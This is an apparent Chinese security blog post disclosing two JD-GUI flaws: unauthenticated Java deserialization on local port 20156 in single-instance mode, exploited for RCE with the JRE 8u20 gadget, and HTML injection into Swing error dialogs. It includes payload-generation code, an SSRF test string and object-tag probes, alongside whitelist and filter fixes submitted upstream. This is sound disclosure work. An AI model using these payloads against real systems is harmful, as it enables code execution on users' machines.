长亭百川云 - 文章详情

JD-GUI 反序列化 XSS

Y4Sec Team

68

2024-07-13

上周和Y4tacker师傅交流学习,偶然间发现 JD-GUI 在开启某项配置的情况下,会监听端口并反序列化任意的数据,深入研究后发现了一些其他的安全问题,最终我和 Y4tacker 师傅提了两个 issue 并提交了修复代码的 Pull Request 不过 JD-GUI 社区不活跃,很久无回复

入口

在 JD-GUI 的入口类 App 中可以发现以下代码

`// 如果开启了某个特殊参数(单例)``if ("true".equals(configuration.getPreferences().get(SINGLE_INSTANCE))) {`    `InterProcessCommunicationUtil ipc = new InterProcessCommunicationUtil();`    `try {`        `// 监听端口`        `ipc.listen(receivedArgs -> controller.openFiles(newList(receivedArgs)));`    `} catch (Exception notTheFirstInstanceException) {`        `// 如果无法监听则发送参数`        `ipc.send(args);`        `System.exit(0);`    `}``}`

如果开启了这个参数,那么你的系统中只会跑一个 JD-GUI (单例)在 Windows 中配置文件 jd-gui.cfg 默认在 C:\\Users\\User\\AppData\\Roaming\\jd-gui.cfg 中。我们需要加入的属性是 UIMainWindowPreferencesProvider.singleInstance

`<preferences>`    `<JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>`    `<JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>`    `<UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance>``</preferences>`

配置好参数,正常启动第一个 JD-GUI 程序。当你启动第二个 JD-GUI 的时候, JD-GUI 尝试监听端口被占用报错,会将当前的启动参数发送到第一个 JD-GUI 中被反序列化,并以文件的方式打开。如下图中,我已经打开了一个 JD-GUI 然后在 IDEA 中设置启动参数为 arthas-core.jar 测试文件,发现第一个 JD-GUI 会直接打开该文件

8u20 RCE

当我看到反序列化的时候,立刻想到的是 8u20 反序列化

先到国外佬的 Github 下一份 8u20 的生成代码:https://github.com/pwntester/JRE8u20\_RCE\_Gadget

修改 ExploitGenerator#main 方法代码,弹一个计算器即可

String command = "calc.exe";

进入 InterProcessCommunicationUtil 可以发现监听的端口是 20156 

`protected static final int PORT = 2015_6;``   ``public static void listen(final Consumer<String[]> consumer) throws Exception {`    `final ServerSocket listener = new ServerSocket(PORT);``   `    `Runnable runnable = new Runnable() {`        `@Override`        `public void run() {`            `while (true) {`                `try (Socket socket = listener.accept();`                     `ObjectInputStream ois = new ObjectInputStream(socket.getInputStream())) {`                    `// Receive args from another JD-GUI instance`                    `String[] args = (String[])ois.readObject();`                    `consumer.accept(args);`                `} catch (IOException|ClassNotFoundException e) {`                    `assert ExceptionUtil.printStackTrace(e);`                `}`            `}`        `}`    `};``   `    `new Thread(runnable).start();``}`

运行后生成一个 exploit.ser 文件,通过 Socket 将数据发到 JD-GUI 实现 RCE 攻击

8u20 RCE Fix

对于这个问题的修复很简单,设置反序列化白名单我已将代码提交到 JD-GUI 官方:https://github.com/java-decompiler/jd-gui/pull/417

自定义 ObjectInputStream 并重写 resolveClass 只允许字符串数组( [Ljava.lang.String; )

`static class FilterObjectInputStream extends ObjectInputStream {``   `    `public FilterObjectInputStream(InputStream in) throws IOException {`        `super(in);`    `}``   `    `@Override`    `protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {`        `if (classDesc.getName().equals("[Ljava.lang.String;")) {`            `return super.resolveClass(classDesc);`        `}`        `throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));`    `}``}`

使用安全的 FilterObjectInputStream 进行反序列化

`ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream()));``// Receive args from another JD-GUI instance``String[] args = (String[])ois.readObject();``consumer.accept(args);`

发送 Payload 后报错,成功修复

XSS

当修复反序列化漏洞后,是否还有进一步的利用空间

反序列化收到的字符串数组后,首先构造一个文件集合

`protected static List<File> newList(String[] paths) {`    `if (paths == null) {`        `return Collections.emptyList();`    `} else {`        `ArrayList<File> files = new ArrayList<>(paths.length);`        `for (String path : paths) {`            `files.add(new File(path));`        `}`        `return files;`    `}``}`

当文件不存在时,文件绝对路径会加入一个错误集合中

`ArrayList<String> errors = new ArrayList<>();``for (File file : files) {`    `// Check input file`    `if (file.exists()) {`        `FileLoader loader = getFileLoader(file);`        `if ((loader != null) && !loader.accept(this, file)) {`            `errors.add("Invalid input fileloader: '" + file.getAbsolutePath() + "'");`        `}`    `} else {`        `errors.add("File not found: '" + file.getAbsolutePath() + "'");`    `}``}`

在下文中,这个错误集合会被拼接字符串,通过 JOptionPane 显示

`for (String error : errors) {`    `if (index > 0) {`        `messages.append('\n');`    `}`    `if (index >= 20) {`        `messages.append("...");`        `break;`    `}`    `messages.append(error);`    `index++;``}``   ``JOptionPane.showMessageDialog(mainView.getMainFrame(), messages.toString(), "Error", JOptionPane.ERROR_MESSAGE);`

在Java Swing 中,绝大多数的组件都支持 HTML 渲染。简单尝试直接使用 HTML 标签发送

`FileOutputStream fos = new FileOutputStream("exploit.ser");``ObjectOutputStream oos = new ObjectOutputStream(fos);``oos.writeObject(new String[]{"<html>Y4TACKER</html>"});``fos.write(bytes);``fos.close();`

发现直接的 HTML 标签不会渲染

经过我们多次的测试,发现开头加入多个换行会解析 HTML 

使用以下的 Payload 测试

`FileOutputStream fos = new FileOutputStream("exploit.ser");``ObjectOutputStream oos = new ObjectOutputStream(fos);``oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><body><h1 color='red'>4ra1n and Y4tacker</h1><body></html>"});``fos.write(bytes);``fos.close();`

结果如下,发现没有完全解析

经过进一步的分析,我发现了这里的原因:

  •  这里的输入字符串会变成 File 类的构造参数

  • 回显使用 file.getAbsolutePath 方法获得

  • 在 Windows 中会把所有的 / 当成路径换成 \ 符导致无法解析闭合标签

在 Mac OS 中不会把 / 替换,所以 Y4tacker 师傅的报告中正常解析

这个问题会导致在 Windows 中不可能实现 SSRF 效果(不确定 Linux 中的处理逻辑)

oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><img src=\"http://127.0.0.1:1234/test\"></html>"});

调试分析真正的字符串如下,无论多少个 / 或 \ 在 file.getAbsolutePath 后都会变成一个

进一步探索

既然无法 SSRF 那么我想到了曾经的 Swing RCE

<html><object classid="?"><param name="?" value="?">

这种方式的不需要标签的闭合即可生效,简单地尝试

oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"?\"><param name=\"?\" value=\"?\">"});

如图,出现两个红色问号说明已经成功了

接下来是寻找 JD-GUI 是否存在符合的 gadget

- 必须有一个 set 方法

- set 方法必须只有一个参数

- 这一个参数必须是 string 类型

- 该类必须是 Component 子类(包括间接子类)

使用我的工具 jar-analyzer 加入 JD-GUI 和 rt.jar 开始分析

(实际上我写的规则不够完善存在一些误报)

搜索到了一大堆结果,但逐个分析后都没有什么活

随便使用 JLabel 测试 javax.swing.JLabel 

`oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"hello world!\">"});``fos.write(bytes);``fos.close();`

发送过去如图,产生了变化,说明思路正确,只差 gadget

最后,哪怕 JD-GUI 里存在 gadget 大概率也需要其中的 value 是一个远程地址,由于上文提到的限制很可能无法成功利用。不过,无论如何都应该尝试找一下

XSS Fix

这个问题的修复就很简单了,在 Swing 里注入 html 没有什么花活,只判断 即可

于是在上文 FilterObjectInputStream 保护反序列化的基础上再过滤一层

https://github.com/java-decompiler/jd-gui/pull/418

`ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream());``String[] args = (String[]) ois.readObject();``   ``for (String arg : args) {`    `if (arg.toLowerCase().contains("<html>")) {`        `throw new RuntimeException(String.format("evil arg: %s", arg));`    `}``}``   ``consumer.accept(args);`
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2